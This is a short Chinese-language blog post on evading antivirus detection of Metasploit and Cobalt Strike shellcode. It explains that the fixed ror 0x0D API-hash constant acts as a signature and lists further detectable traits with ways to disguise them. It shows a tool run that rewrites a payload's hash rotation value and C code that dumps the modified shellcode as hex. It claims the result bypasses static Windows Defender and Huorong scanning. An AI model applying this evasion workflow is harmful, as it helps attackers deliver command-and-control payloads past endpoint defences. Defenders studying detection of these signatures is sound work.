CS和MSF原始Shellcode混淆

148 阅读2分钟

声明:本内容只作为个人学习研究使用,请勿用作其他用途。

msf和cs为了避免在shellcode中使用函数名硬编码而是用一种api hash的技术,其中用到了ror r9d 0x0D,这句指令被AV当做强特征。

在调用函数时,将某一个函数经过运算求出的十六进制数据mov到r10d寄存器然后call rbp来达到执行api的目的。

mov     r10d, 726774Ch
call    rbp

这个0x726774c,就是函数LoadLibraryA计算后的hash值

hash的计算过程使用了ror rd9, 0x0D这条汇编指令进行加密哈希。但msf和cs一直都是使用都是0x0D,这意味着每个函数计算出来的哈希值都是始终不变的,比如LoadLibraryA总是对应0x726774c,汇编代码中总会出现这组数据。因此杀软已经统计好了一组特定字符串作为检测指标:

image-20230523121306797.png

所以,只要修改掉0x0D变成别的数据,即可改变对应函数的hash值,从而逃过大部分杀软的检测。

其他的一些特征

  • CLD总是执行的第一条指令 - 调换到合适的位置
  • 可疑的call 寄存器 - 添加花指令
  • 栈上存在库函数名称 - 大小写替换(因为LoadLibraryA函数不区分大小写)

使用自动替换ror指令移位长度的脚本,https://github.com/embee-research/APIHashReplace

> python apihashreplace.py 64 payload.bin
​
Architecture: 64
Detected Ror Value Of 0xd
8 Hashes Detected
​
Detected: ['ExitProcess', 'LoadLibraryA', 'VirtualAlloc', 'HttpOpenRequestA', 'HttpSendRequestA', 'InternetConnectA', 'InternetOpenA', 'InternetReadFile']
​
New ror value is 0xa4
Wrote 893 bytes to file payload.bin_0xa4.bin
#include <stdio.h>
#include <stdlib.h>
int main(){
    FILE *fp = fopen("payload.bin_0xa4.bin", "rb");
    unsigned char ch;
    while ((fread(&ch, sizeof(char), 1, fp)) && ch!= EOF){
        printf("\x%02x", ch);
    }
    fclose(fp);
    return 0;
} 

生成的shellcode就已经可以过静态wd和火绒了,但是过不了动态。

文章链接

https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection